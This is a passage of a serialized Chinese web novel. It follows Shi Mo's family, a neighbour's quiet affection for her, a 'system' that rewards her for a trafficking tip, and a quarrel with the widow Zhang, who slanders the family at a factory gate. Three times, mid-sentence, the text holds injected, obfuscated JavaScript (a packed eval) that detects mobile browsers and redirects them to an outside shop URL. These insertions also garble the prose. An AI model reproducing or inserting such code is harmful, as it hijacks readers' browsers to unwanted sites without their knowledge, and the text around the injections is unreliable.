只能借着“邻居”的名义,借着“受人之托”的理由,一点一点靠近。 司机见他不答,也不敢再问。 车子在雪中缓缓远去。 谢时昀睁开眼,看向窗外纷飞的雪。 她说他准备周全。 她说他挺上心。 她说他比她大九岁。 每句话都平常,每句话都像提醒。 但他知道,她不是故意的。 她只是……不在意。 不在意他的年纪,不在意他的心思,不在意他为她做的这些。 就像她不在意自己随口说的那些话,能让他想很久。 * 时墨一进门,就看见时建军正窝在沙发上看书,手里还拿着个包子啃。 “哥,你不是加班吗?” “厂里雪太大,提前放了半天假,下午三点就回来了。”时建军抬头看着时墨问,“谢哥去接你了?” “嗯。”时墨换下湿漉漉的棉袄,“他说你让他去的?” 时建军点点头:“我下午看天气估计你们学校得提早下课,但我又临时走不开,正好碰到谢哥,就托他顺路接你一下。没给人家添麻烦吧?” 时墨这才信了。 原来真是她哥托的。 她心里那点异样,稍稍淡了些,摇了摇头:“没有。“ “我就说谢哥人靠谱!”时建军一拍大腿,坐起来就开始夸,“人家不光人好,还有文化、有本事!长得还俊,家世也好,待人接物也得体,简直挑不出一点毛病!” 时墨听着他滔滔不绝地夸,扶了扶额:“哥,谢时昀知道你是他迷弟吗?” “迷弟?那是啥玩应儿?” “没啥。” 正说着,李秀兰端着一锅热汤从厨房出来:“回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264654|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?快来喝碗姜汤,去去寒!” 时墨接过碗,捧在手里,热气腾腾的,暖意从掌心漫到心里。 时爱国也下班回来了,抖了抖身上的雪,在门口换了鞋。 饭桌上,一家人围坐在一起,热热闹闹地吃着晚饭。 “墨墨,今天谢时昀去接你了?”时爱国问。 “嗯,我哥托他去的。” 时爱国点点头:“小谢确实人不错,他爸妈都是首都大学的教授,书香门第,家教好,自己也争气,不靠家里自己出来闯事业,年纪轻轻就做得有模有样,难得。” 李秀兰也跟着说:“可不是嘛,我听人说,小谢今年都27了,怎么还没处对象啊?他这条件,什么样的姑娘找不到?” 她说着,还碰了碰时爱国的胳膊:“老时,你跟他熟,你知不知道啥情况?是不是人家眼光太高了?” 时爱国又夹起被碰掉的白菜:“这我哪知道?人家私事,我虽说是长辈,但跟人也没啥关系,怎么好意思问?” “二十七了,还没对象,应该是谢哥眼光高,一般人看不上。”时建军觉得自己猜到了真相。 李秀兰感慨道:“二十七,正是结婚的年龄。家世好,人品好,有本事——这条件,打着灯笼都难找。” 时墨埋头吃饭,装作没听见家人八卦。 时爱国却想起一件事:“说起小谢,我倒是想起来了。当初墨墨复习资料都是谢时昀给整理的,要不是赵厂长有次说漏嘴我都不知道。” 时墨筷子一顿。 那些资料,每科的考点归纳、典型例题、解题思路,条理清晰,重点突出,有多实用,她最清楚。 她之前以为是赵厂长为了相亲的事赔罪,没想到…… “老赵说,那孩子不让告诉你,说怕你有负担。”时爱国感慨道,“你说这孩子,心眼多实诚。” 李秀兰也愣了,随即感慨道:“哎哟,这孩子,心也太细了!做了这么多事,还一声不吭,真是难得。” 时墨心里忽然像被什么东西轻轻撞了一下。 吃着吃着,时爱国突然道:“对了,说起赵家那小子,我听人说现在不闹了,正常去文化馆上班了,也不跟人瞎搞音乐,说是找正经人学,看着比之前上进多了。” 时建军嗤笑一声:“真是太阳打西边出来了,说到底那还不是让我妹给骂醒的。妹,你那天跟他说啥了?” 时墨淡淡一笑:“没说什么,就正常劝诫,我也不喜欢他。” 李秀兰叹了口气:“那孩子其实也不坏,就是从小被惯坏了,没吃过亏。能想通就好,之前闹得鸡飞狗跳的,可把我愁坏了,现在总算消停了。” “可别找我妹。”时建军赶紧说,“我妹可不稀罕他。” 时爱国点点头,沉声道:“赵宏林也是个明事理的,把孩子管起来了,没让他再瞎闹。说起来,赵星宇和小谢还是表兄弟,俩孩子都是一个姥姥家的,性格、本事,差得也太远了。” “那能一样吗?”李秀兰说,“你忘了谢时昀父母从小怎么教育的?赵星宇那孩子,从小被惯着,啥苦没吃过,当然不懂事。” 时爱国点点头:“我倒是听赵厂长以前说过,他家教严,也是,人家父母都是教授。” 时墨听着,没说话。 窗外的雪还在下,纷纷扬扬的。 【宿主,您的心率略有波动。】系统的声音忽然响起,【需要关注吗?】 时墨在心里翻了个白眼:【不用。】 【好的。】系统顿了顿,又补了一句,【需要检测谢时昀心率值吗?】 44. 第 44 章 时墨起了好奇:【你能检测他?】 【需要花钱或者用能量币。】 【不用,我穷。】 【宿主不穷呀,能量币有11260呢。】 【一万多了啊,看看能买什么。】 【叮——系统商城已开启。】 系统话音落下,时墨的眼前瞬间铺开了一面半透明的虚拟面板。 【宿主当前能量币:11260。可购买商品如下。】 时墨来了兴趣,细细浏览起来。 【初级体质增强丸:可提升宿主抗疲劳能力,兑换需20000能量币。】 【基础格斗技能:可赋予宿主基础格斗能力,兑换需30000能量币。】 【即时翻译:可让宿主听懂/说出任意外语,时效24小时,兑换需6000能量币。】 【未来趋势报告:十年国内经济发展趋势分析报告、各行业风口预判手册,兑换需500000能量币。】 【……】 时墨一路看下来,表情逐渐微妙。 【系统,你是不是对我有什么误解?】她在心里问,【你看看这些价格,再看看我的余额,我能买得起什么?】 【系统已根据宿主当前资产水平进行智能筛选。】系统的声音一本正经,【最下方有“特价专区”,宿主可查看。】 时墨往下滑,果然看到一个灰扑扑的板块。 【特价商品(限时)】 【暖宝宝(10片装):可自动调节温度,持续发热8小时。原价800,特价300能量币。】 【知识碎片包(随机):可获得某个领域的碎片化知识(内容随机)。原价5000,特价1500能量币。】 【好运符(单次):可小幅提升接下来一小时内某件事的成功概率。原价3000,特价800能量币。】 时墨:“……” 【价格倒是便宜挺多。】她嘴角忍不住抽了抽,【但说实话,这些东西……】 【宿主觉得不实用?】 【不是不实用。】时墨斟酌了一下措辞,【是对我来说性价比不高。暖宝宝鸡肋,知识碎片包随机性太强,万一随机到‘养猪技巧’呢?好运符倒是有点意思,买一张。】 【好的,已扣除800能量币,剩余10460能量币。】 正说着,时墨脑海里忽然响起一阵提示音—— 【叮!紧急喜报!恭喜宿主,触发“善有善报”隐藏成就!】 【首都警方于近日成功破获跨省特大拐卖妇女儿童团伙案,抓获涉案人员27名,解救被拐儿童19名、妇女6名!该案核心线索,来源于宿主9月在火车站拦截并举报的4名人贩子,经审讯深挖,成功捣毁整个犯罪团伙!】 【警方已确认,此案为近三年破获的最大规模拐卖儿童案。当地公安局已向上级申请,拟对提供关键线索的群众进行表彰。】 【根据系统规则,宿主在此案中的贡献,折算奖励如下——】 【能量币+30000】 【声望值(本世界)+500】 【特殊称号:守护者(佩戴后可小幅提升对儿童、老人的亲和力)】 一连串的播报,让时墨手里的筷子都顿住了。 她愣了好一会儿,才回过神来。她没想到快时隔两个月,警方竟然顺着这条线索,端掉了整个跨省的拐卖团伙,还救了这么多孩子和妇女。 比起能量币和技能奖励,更让她开心的,是那些被拐的孩子能回到亲生父母身边,那些破碎的家庭能重新团圆,不再饱受分离之苦。 【恭喜宿主!做了一件很了不起的事!】系统的声音激昂道,【挽救了17个孩子,17个家庭。改变了6名妇女的人生轨迹!】 时墨压下心里的翻涌,嘴角忍不住扬起,在心里回道:【真正了不起的,是那些把孩子找回来的警察。】 【宿主心善,这都是您应得的!】 【系统检测到宿主欣慰、满足的情绪值在上升。】 李秀兰见她拿着筷子发呆,嘴角还带着笑,伸手碰了碰她的胳膊:“墨墨,想啥呢?饭都凉了,快吃啊。” “啊,想着打雪仗呢。”时墨回过神笑了笑,夹了口菜。 “这天可老实在家呆着吧,外面……” * 当晚,下了两天的大雪终于停了,只偶尔飘点零星的雪沫子。 次日,天终于放晴了,只有细碎的小雪粒随风飘着,太阳透过薄云洒下来,照在雪地上,晃得人眼睛都睁不开。 兄妹俩穿得厚厚的,骑车直奔胡同院子。 看到干净的门口,时墨愣了一下。 大门口和小路都被清得干干净净,连雪沫子都没有,一看就是有人大清早清过了。 “肯定是谢哥把门口和路清了。”时建军左右看了看,招呼时墨开门,“他估计是怕咱们来了进不了门,但院里得咱们自己来。” 时墨点点头,上前打开大门,果不其然,院内积雪厚的够能盖雪屋子了。 “妹,你就在边上站着,别动手,雪厚得很,你没力气不好弄。”刚推开院门,时建军就把时墨拦在了身后,拿起铁锹就开始清院里的积雪。 时墨刚要开口,系统提醒道:【宿主不可从事体力劳动,你哥哥自己一个人能干得过来。】 “那行,哥你清出条小路俩,我去找找有没有炉子啥的,先把屋子烤暖和了,你清完雪进屋暖乎。” “行!” 时建军甩开膀子干,没一会儿清出正屋的小路,时墨赶紧走过去。 正屋门一推开,一股冷气扑面而来。 屋里和外面差不多温度,但至少没风。 时墨四处看了看,在角落里找到一个落满灰的炉子,还有一摞旧报纸和半筐炭。 她蹲下来,开始生火。 等时建军把院里雪铲完,进屋的时候,屋里已经有了一丝暖意。 炉子里的火苗跳动着,映得墙壁忽明忽暗。 “嘿,我妹还会生炉子?厉害啊!”时建军惊讶道。 “以前看你们生过,照葫芦画瓢呗。”时墨拍拍手上的灰,“石榴树那边怎么样?” “树没事,就是枝子压弯了,我把雪抖掉了。”时建军搓搓手,在炉边烤着,“等会儿把石榴摘了就行。可惜有些已经冻坏了,这场雪来得太突然。” 时墨抬头看着窗外那颗老石榴树,枝桠上挂着不少石榴,在白雪映衬下格外好看。但仔细看,确实有些已经裂了口子,蔫了。 “坏的摘下来也别扔,回去看看能不能熬点果酱。” “行。” 兄妹俩暖和过来从仓房里找出梯子,时建军爬上去摘,时墨在下面接。 “哥,你小心点!”时墨连忙扶着梯子,看着时建军小心翼翼地爬上去。 “放心,我稳着呢。”时建军摘下一个又大又红的,扔给时墨,“接着!” 时墨手忙脚乱接住,嗔怪道:“你扔那么高干嘛!” “考验你反应能力!”时建军嘿嘿一笑,又摘了一个扔下来。 时墨这回稳稳接住,瞪他一眼:“再来?” “来就来!” 时墨接石榴接得手忙脚乱,时不时被时建军的假动作“吓”到,俩人笑闹的声音穿过院墙。 对面院里。 谢时昀此刻正站在自家书房的窗边看书,窗帘半拉开,听见隔壁的笑声,手里的书半天没翻一页,目光落在对面院子里时墨蹦蹦跳跳的身影上。 她来了。 他早上听见动静的时候,就知道她来了。 他记得昨天在车上,时墨随口提了一句,院里的石榴再不摘就冻坏了。他当时没接话,却记在了心里。 原本想着,等她来了,借着送工具的由头,过去帮忙,可一想到昨天她说“你比我大九岁”的时候,那个语气,那个表情…… 脚步便像灌了铅一样,怎么也迈不出去。 他只能站在窗边,隔着一条街,两道院墙,安安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270905|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静静地看着她笑,看着她闹,看着她接过石榴时,眼里亮晶晶的光,连嘴角都不自觉地跟着扬了起来。 谢时昀看着对面院墙,听着那头的笑声,站了很久。 她说过,石榴摘了会给他送来。 他等着。 * 时建军摘了满满两袋子石榴,从梯子上下来,拍拍身上的雪。 “妹,你先在这屋里烤着火,我把石榴给谢哥送去。人家帮咱们清了雪,怎么也得表示表示。” 时墨点点头,递给时建军一个小拎筐:“那你快点,咱们一会儿还得收拾屋里。” “嗯,我快去快回。”时建军拎着小拎筐,挑出兜子里个头最大的石榴,推开院门,往谢时昀家走去。 刚敲没两声门就开了。 谢时昀站在门内,看见时建军的那一刻,眼里的瞬间暗了下去,快得让人抓不住,只有嘴角还维持着礼貌的笑意:“建军?快进来坐。外面冷。” “不了不了,谢哥,我就不进去了”时建军笑着把手里的小筐递过去,筐里装着满满一筐红彤彤的石榴,个个都挑的最大最红的,“我妹说,院里的石榴熟了,特意让我给你送点过来,谢谢你前几天帮我们清了院里的雪。” 谢时昀接过筐,视线不由自主地往对面瞟,院门开着,却没看到那个熟悉的身影。 他压下心里的失落,笑着道:“跟你妹说,太客气了,就是顺手的事,还特意送石榴过来。” “应该的应该的!”时建军大大咧咧地摆了摆手,完全没察觉到他眼里的失落,“我妹在屋里收拾呢,说等天彻底晴了,再过来大扫除,好好收拾收拾这院子。” “这院子空了挺久,是得好好收拾收拾。”谢时昀顺着他的话接下去,语气里带着不易察觉的试探,“你妹一个小姑娘,收拾起来费劲,要是缺什么工具,或者需要人手,随时叫我,我反正离得近,有的是时间。” “哎,好嘞!谢谢谢哥!”时建军笑着应下,“那我先回去了,她一个人在那边呢。” 时建军转身要走,谢时昀又叫住他:“等等。” 时建军回头。 谢时昀犹豫了一下,问:“她……今天穿得够厚吗?雪停了冷,干活别冻着。” 时建军笑道:“谢哥你这心也太细了!放心,我妹穿得厚着呢,围巾手套一样不少。她那人最怕冷,出门前我妈还给她灌了热水袋揣棉袄里。” 谢时昀点点头,没再说什么。 时建军挥挥手,回了对面。 谢时昀关上门,拎着那筐石榴,站在门内没动。 大约过了一刻钟,对面传来了自行车的铃铛声,还有时墨和时建军的说笑声。 “妹,你锁好门没?” “锁好了。” “上车,我带你。” “等等,我围巾松了。” “笨死了,来,哥给你系。” 谢时昀轻轻拉开院门一条缝,透过门缝看出去。 时墨坐在自行车后座,手里抱着半袋石榴,侧着头跟时建军说着什么,笑得眉眼弯弯,时建军正低头给她系围巾。系好了,拍拍她的脑袋,跨上车。 “走喽——坐稳!” 自行车晃晃悠悠骑远了。 谢时昀站在门后,直到看不见时墨的身影才关上院内,低头看了看手里的石榴筐,嘴角扯出一抹无奈又温柔的笑。 他把石榴一个个拿出来,摆在客厅的果盘里,挑了个最大在手里转了转,把玩够了方才剥开,石榴籽饱满通红,甜汁在嘴里爆开,可他心里,却泛着一点说不清道不明的涩。 * 时建军蹬着自行车,带着时墨往家走,路过老屋胡同时,正好撞见老邻居刘叔在院门口扫雪。 刘叔一看见他俩,立刻扔下手里的扫帚,快步迎了上来,脸上带着点急色:“墨墨?建军?可算碰见你们俩了!我正想找你们呢!之前你爸妈不是说要买我们的房子吗?怎么这么久都没信儿了?我和小王两口子,都等着你们呢!” 45. 第 45 章 时墨闻言笑了笑,从自行车上跳下来,故作可惜地叹了口气:“唉,刘叔,实在对不住,这事黄摊子了。” “黄了?咋黄了?”刘叔一下子急了,“不是说好了,我和小王都愿意按市价卖,就差张寡妇那一间了?” “就是因为她。”时墨耸了耸肩,把当初的事原原本本说了一遍,“我爸妈那天过来跟你们谈,张寡妇一张嘴,把房价翻了一倍,明摆着把我们当冤大头宰。我爸妈当时就气坏了,说这房子不买了。本来就是想着凑个整院子,住着方便,她这么一闹,我们也没必要热脸贴冷屁股,索性就不买了。” 刘叔倒吸一口凉气:“她那破院子,也真敢要!” “谁说不是呢。”时墨叹了口气,一脸遗憾,“我妈说,你们都是一个院的老邻居,低头不见抬头见的,她要是用低价买你们的,怕你们以后心里不舒服。要是用高价买,我们家又拿不出那么多钱。想来想去,这事儿就先搁下了。刘叔,实在对不住啊。” “这个挨千刀的张寡妇!”刘叔一听,脸瞬间气红了,破口大骂,“我就知道她没安好心!之前我们俩劝她,按市价卖就得了,她非说你们家有钱,非要多讹点!合着她自己不想卖,还耽误我们俩的好事!” 他早就想把这老房子卖了,凑钱给儿子在新家属院买楼房,就等着时墨这边给钱呢,结果被张寡妇搅黄了,能不气吗? “实在对不住了刘叔,这次是没缘分。”时墨装作一脸可惜的样子,“以后要是再有机会,我们肯定先考虑您和王哥的房子。” “哎,行,行。”刘叔叹了口气,也没别的办法,只能摆摆手,“那你们慢走,有空过来串门。” 时墨笑着应下,跳上自行车后座,冲他挥挥手:“刘叔您忙着,我们先走了啊,天冷,您注意身体。” 时建军心领神会,蹬起车子就走。 刚骑出没多远,就听见院里传来刘叔破口大骂张寡妇的声音,骂得那叫一个难听,隔远了都能听得清清楚楚。 时建军憋着笑,骑得快了些。 等拐过弯,实在忍不住了,哈哈大笑起来。 “妹!你可太损了!你看看刘叔那张脸!” 时墨靠在时建军背上,忍不住笑出了声,心里那叫一个痛快。 “损吗?我只是实话实说。” “实话实说?”时建军笑得直抖,“你是实话实说,但你这实话实说,够老刘在家骂三天了!” “谁让张寡妇坐地起价,把咱家当肥羊宰,现在好了,不仅没捞到好处,还把邻居得罪了个遍,也算给咱爸妈出口恶气。” “确实是她活该。”时建军笑道,“想敲咱家竹杠,也不看看自己有没有那个本事。诶,妹,你说老刘他们会去找张寡妇麻烦不?” “不知道。”时墨拢了拢围巾,“跟我没关系。” 时建军笑着摇头:“你啊,看着好说话,心里门儿清。” * 张寡妇被刘叔一家四口堵在院里骂了整整一上午,连带小王两口子也指着鼻子数落她搅黄了卖房的好事,唾沫星子喷了她一脸。 她非但没觉得自己坐地起价有错,反倒把所有怨气都算在了时家头上——要不是时墨一家挑头买房,她何至于被邻居挤兑得抬不起头? 张寡妇心里的火气越攒越旺,她拍了拍身上的雪沫子,把棉袄一裹,直奔第三纺织厂去了。 她心里打得一手好算盘:李秀兰是细纱车间的班长,刚凭着闺女捐国宝的事评了厂里的先进工作者,最看重名声。她去厂门口一闹,把脏水往时家身上一泼,就算最后没理,闲话也能传出去,非得让李秀兰在厂里抬不起头不可!呲,真是手里有点逼钱不知道咋得瑟好了! 中午正是工厂换班吃饭的点,车间门口人来人往,全是端着搪瓷缸子、拿着饭盒的工人,闹哄哄的全是说话声。张寡妇往门口台阶上一站,两手往大腿上一拍,扯开嗓子就嚎上了,那声音尖得能刺破房顶: “大家都来评评理啊!红星机械厂的时爱国、李秀兰一家,仗着闺女捐了个破画得了点奖金,就欺负我们老百姓啊!” 这一嗓子,瞬间让喧闹的厂门口静了一瞬,所有人的目光都聚了过来。 张寡妇见围上来的人多了,哭得更起劲儿了,嘴里的歪理一套一套往外冒:“他们家想买我们胡同的院子,就指使街坊邻居围攻我、骂我,逼着我把房子贱卖给他们!我不答应,他们就搅黄了所有人的买卖,转头就赖我头上!我被邻居堵着门口骂了一上午!你们厂李秀兰买不起房就别充大尾巴狼!自己不出面,躲在背后指使人围攻我,逼着我把房子便宜卖给她!” “李秀兰!你有本事出来!当着大家伙的面说说,你们家是不是想仗着有钱,吞了我们整个院子!是不是看我们孤儿寡母好欺负!” “还有啊!”张寡妇见有人围观,嗓门更亮了,“他们家那点奖金,来路正不正还两说呢!一幅破画就能得那么多钱?指不定是跟什么人串通好的!拿着不干不净的钱来欺负我们老百姓,这种人家的闺女,还被厂里当成榜样,你们厂评的先进,就这德行?” 她这话说得毒,既把自己塑造成了被欺负的弱势群体,又把刘叔小王围攻她的事栽赃成时家指使,暗戳戳地指时家是仗势欺人的主儿。最后把李秀兰刚因为女儿捐国宝被评的先进工作者名声往泥里踩。 围观的工人瞬间议论开了,交头接耳地看着热闹。 这话刚落,人群外就传来一声炸雷似的怒喝:“姓张的!你把嘴给我放干净点!” 李秀兰端着饭盒刚从车间出来,就听见这污言秽语,脸瞬间黑得像锅底。她把饭盒往身边相熟的工友手里一塞,大步流星地挤开人群,往张寡妇面前一站,一米六多的个子站得笔直,叉着腰眼神凌厉地盯着她,气场直接压了张寡妇一头:“我当是谁在这儿满嘴喷粪,原来是你!怎么?你自己坐地起价把邻居都得罪光了,跑到我们厂里来放屁?” “李秀兰,你来得正好,咱当面锣对面鼓说说清楚!”张寡妇见李秀兰出来了,心里先虚了三分,嘴上却依旧不饶人,“你家丫头片子捐了幅画就抖起来了,让老刘小王两家逼着我卖房,堵在我家门口骂我,把我们家房价压得死死的!逼我把房子八百块钱贱卖给你?我们家房子凭什么不能卖高价?你们家买不起就别充大尾巴狼,耍这种阴招算什么本事!你们家有钱了不起啊?欺负我们平头老百姓!” “我呸!”李秀兰一口唾沫差点啐她脸上,眼睛瞪得溜圆,嗓门亮得整个厂门口都听得见,“你还有脸说?我问你,老刘和小王为什么骂你?还不是因为你一张嘴,把一间公家估价八百的破北屋,喊到了一千六!我们家诚心诚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277778|196120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意买房子,跟老刘、小王都按市价谈妥了,就你,看我们家闺女得了奖金,就想把我们当冤大头宰!怎么?讹钱没讹成,反倒怪我们不伸脖子让你宰?” 李秀兰声音洪亮,车间里的工人都围了过来,里三层外三层的。大多数人跟她共事了十几年,都知道她为人正直公道,从不说瞎话,瞬间都信了七八分。 张寡妇脸一白,梗着脖子喊:“我的房子我想卖多少卖多少!你们不买就算了,凭什么挑唆街坊邻居跟我作对?现在他们俩房子卖不出去,都来怪我,不是你指使的是谁?” “你要点脸吧!”李秀兰往前逼了一步,眼神像刀子似的扎在她身上,“人家老刘要给儿子买楼房缺钱,小王要凑钱给老母亲治病,急着卖房,全被你搅黄了!人家不怪你怪谁?用得着我挑唆?全胡同的人都知道你心黑,想讹钱,也就你自己觉得自己有理!” “你胡说!”张寡妇急了,伸手就要去扯李秀兰,“就是你们家的错!要不是你们要买房子,能有这些事?” 李秀兰一把打开她的手,嗓门提得更高,让周围所有人都听得清清楚楚:“大家都听听!她自己坐地起价讹人不成,反倒怪我们不该买房子!天下哪有这样的道理?我们家闺女捐国宝给国家,上了《百姓日报》,是领导亲自接见、给发的奖金和奖章!光明正大,干干净净!你张寡妇算个什么东西?也配在这儿嚼我闺女的舌根?往一个一心为国的孩子身上泼脏水,你就不怕遭雷劈?!” 这句话掷地有声,围观的工人瞬间炸了锅: “我说呢!原来是这女的想讹钱!真够黑心的,一间破房子翻一倍要价!” “就是!人家闺女给国家做贡献,她倒好,跑这儿来造谣!真不是东西!” “李班长是什么人咱们还不知道?她能干这种仗势欺人的事?全是这女的胡编乱造!” “赶紧滚吧!别在我们厂门口丢人现眼!再闹我们叫保卫科了!” 张寡妇看着周围人鄙夷的眼神,听着一句句指责,脸一阵红一阵白,浑身都在抖。 她本来想过来败坏时家名声,没想到反倒把自己架在了火上烤,成了人人喊打的过街老鼠,张嘴想反驳:“你们懂什么?就是她家——” 她还想嘴硬再说两句,李秀兰直接冷冷地打断她:“我警告你,张寡妇!今天这事我不跟你计较,你现在立刻滚出我们厂!要是你再敢到处散播谣言,再敢往我闺女身上泼一句脏水,我直接带着街坊邻居去派出所告你诽谤!到时候让你看看,讹人不成、恶意诽谤,是要蹲大牢的!” 这话里的狠劲,直接把张寡妇吓住了。 她没想到李秀兰来真的,看着周围人鄙夷的眼神和指指点点,知道再闹下去讨不到半点好,只能恨恨地瞪了李秀兰一眼,撂下一句没底气的“你们给我等着”,说完灰溜溜地扒开人群跑了。 李秀兰看着她跑远的背影,不屑地哼了一声,转身对着围观的工友们笑着道谢:“谢谢大家伙儿帮我说话了,耽误大家吃饭了,对不住啊!” “谢啥啊李班长!这种人就该骂!” “就是!以后她再敢来,我们直接帮你把她轰走!” 李秀兰笑着跟大家寒暄了两句,拿起饭盒,回去继续吃。 可流言这东西,就跟泼出去的水,一旦撒出去,就再也收不干净了。 46. 第 46 章 晚上时墨放学回家,刚拐进家属楼楼道,就看见几个邻居蹲在走廊里拢蜂窝煤,一边拢一边小声嘀咕,话里话外全是她和家里的事。 “……我听三厂的亲戚说,今天有人去厂里闹,说她家买房子讹人,还说那捐画的事,是跟人串通好的……”说话的是住二楼的李婶,平时最爱东家长西家短地嚼舌根。 “嗨,我听我爱人说了,是那寡妇坐地起价的!讹人没讹成,反被邻居堵着门骂,她倒有脸赖人家时家指使,被李班长骂得狗血淋头跑了!” 旁边一个阿姨也跟着说:“对啊,李婶,报纸都登了,那还能有假?” “报纸?报纸花点钱就能上!”李婶撇着嘴,声音压得更低了,“你想啊,一幅旧画,能给那么多奖金?谁知道里面有什么门道!再说了,她家突然这么多钱,又是买好几个房子,指不定来路正不正呢……” 话没说完,她一抬头,就看见时墨正站在楼梯口,面无表情地看着她。 李婶的脸瞬间僵住了,手里的煤夹子“啪嗒”一声掉在地上,尴尬得手脚都不知道往哪儿放。旁边几个邻居也连忙停下话头,笑着跟时墨打招呼:“墨墨放学了?” “嗯,张姨、王姨好。”时墨礼貌地点头回应,目光扫过李婶,全程没给她一个正眼。 就在她擦着李婶身边走过的时候,脚步突然停下,侧过头,嘴角勾着一抹淡淡的讥讽,声音不大,却字字清晰:“李婶,我倒是第一次知道,国家官媒的头版新闻,还有市委市政府颁发的奖章,都能花钱买。今天真是长见识了。” 说完,她没看李婶瞬间涨成猪肝色的脸,径直转身上了楼。 身后传来李婶气急败坏的声音:“嘿,这孩子,什么意思啊!” “谁让你乱嚼人家舌根,被孩子抓了现行,活该!” “就是,人家孩子招你惹你了,背后说人坏话……” 时墨听着身后的动静,嘴角撇了撇。 上楼拿钥匙开门,屋里饭菜已经摆上了桌。 李秀兰正端着汤从厨房出来,看见她进屋,笑着道:“回来了?快洗手吃饭。” “妈,我听楼下邻居说,今天张寡妇去厂里闹了?”时墨换了鞋,走过去拉着李秀兰的手,上下打量了她一遍,“没气着吧?她没碰着你吧?” “嗨,就她那两下子,还能气着我?”李秀兰不屑地撇了撇嘴,又得意地扬了扬下巴,“你妈我在车间干了十几年,什么撒泼耍横的没见过?她那点本事,还不够看的!你是没看见,她让我骂得那脸,跟猪肝似的!” 时爱国闻言皱起眉,脸色沉了下去:“她来厂里闹了?没造成什么不好的影响吧?” “能有啥影响?”李秀兰夹了一筷子菜,把今天在厂里骂跑张寡妇的事,绘声绘色地跟时墨说了一遍,“全厂工友都站在我这边,都知道是她想讹钱,没人信她的鬼话。就是这老东西嘴碎,还非说是咱家指使老刘他们骂她的,我直接让她去公安局对质,她吓得屁滚尿流跑了。” “妈,你太牛了!”时墨笑着竖起大拇指,真心实意地夸道,“骂得好!她这种人就是欠收拾!还栽赃咱家指使,也不看看自己配不配!” “可不是!”时建军气得一拍桌子,“我打小就记得她特爱占小便宜,以前冬天还偷过咱家蜂窝煤,让我抓着了还死不承认!现在还敢跑到厂里去造谣,真是给她脸了!” 时爱国沉吟了一下:“那张寡妇那边……就这么算了?她这么一闹,外头肯定有闲话。” “闲言碎语怕什么。”时墨笑了笑,“身正不怕影子斜,咱们家的钱,一笔一笔都来得光明正大,不怕人说。再说了,爸,您等着吧,过不了几天,刘叔他们就得上门。” “上门?他们上门干什么?” 时爱国没明白,李秀兰倒是回过味来了:“你是说……” “张寡妇这么一闹,老刘和王哥肯定知道是咱家不买了。”时墨慢条斯理地说,“他们两家急着卖房,现在知道张寡妇彻底搅黄了买卖,能饶了她?等着看吧,用不了几天,老刘就得替张寡妇来递话,求着咱买。” 李秀兰将信将疑:“她那人死要面子,能低头?” “她不低头,刘叔他们能饶了她?”时墨冷笑道,“再说了,妈你今天这一骂,整个厂都知道是她讹人在先,还栽赃咱家。她再闹,也没人站她那边。院子砸在她手里卖不出去,她不低头也得低头。” 时爱国看着女儿眼里的笃定,忍不住笑了,点了点头:“你这丫头,心眼儿真多,把人心都摸透了。” “这叫谋略。”时墨一本正经地说,“爸,等稿费一到,咱就先跟刘叔他们签合同,把那两间房拿下来。” 这话一出,桌上的气氛瞬间静了下来。 李秀兰先开了口,脸上带着顾虑:“墨墨,还买啊?妈不是泼你冷水,你看这事儿闹的,为了个破院子,惹了一身腥。现在咱们家的房子够住了,你马上要上大学,到处都要花钱,没必要非把钱砸在那老院子上,不值当。” “是啊妹。”时建军也跟着劝,他是真心实意想支持妹妹,可也怕她把钱都花光了,手里没余钱,“我知道你喜欢那院子,可也不用这么急。你手里的钱,留着上大学用,以后想买什么、想干什么,手里有钱心里不慌。真要买,也等以后再说,不急这一时半会儿的。” 时爱国放下筷子,看着女儿,语气严肃又认真:“墨墨,爸也得跟你说两句。你捐国宝得了奖金,写小说赚了稿费,这都是你凭本事挣的,爸不干涉你怎么花。但爸得提醒你,咱们家现在不比以前,你现在是名人了,报纸电视都上过,一举一动都有人盯着。一下子拿出这么多钱买房子、置产业,厂里、街坊邻居肯定会说闲话,万一再有人说你一个学生不好好上学,倒腾房子,对你影响不好。” 家人的顾虑,都实实在在,全是为了她着想,没有半分私心。 但她不能告诉他们,系统规定钱到手里二十四小时不花出去就得被冻结。 时墨心里暖烘烘的,放下筷子,看着三人,把自己的盘算一条条说得明明白白:“爸,妈,哥,你们的顾虑我都懂,你们听我说。” 她先看向时爱国:“爸,您担心的闲话,根本不用怕。这钱是我写小说的稿费,是国家给我捐国宝的奖金,全是光明正大、交了税的,有凭有据,谁也挑不出错。咱们买房子是自住,不是倒腾买卖,不偷不抢不犯法,谁也说不出什么,而且现在谁倒腾自己住了几十年的破院子,您说是不?” 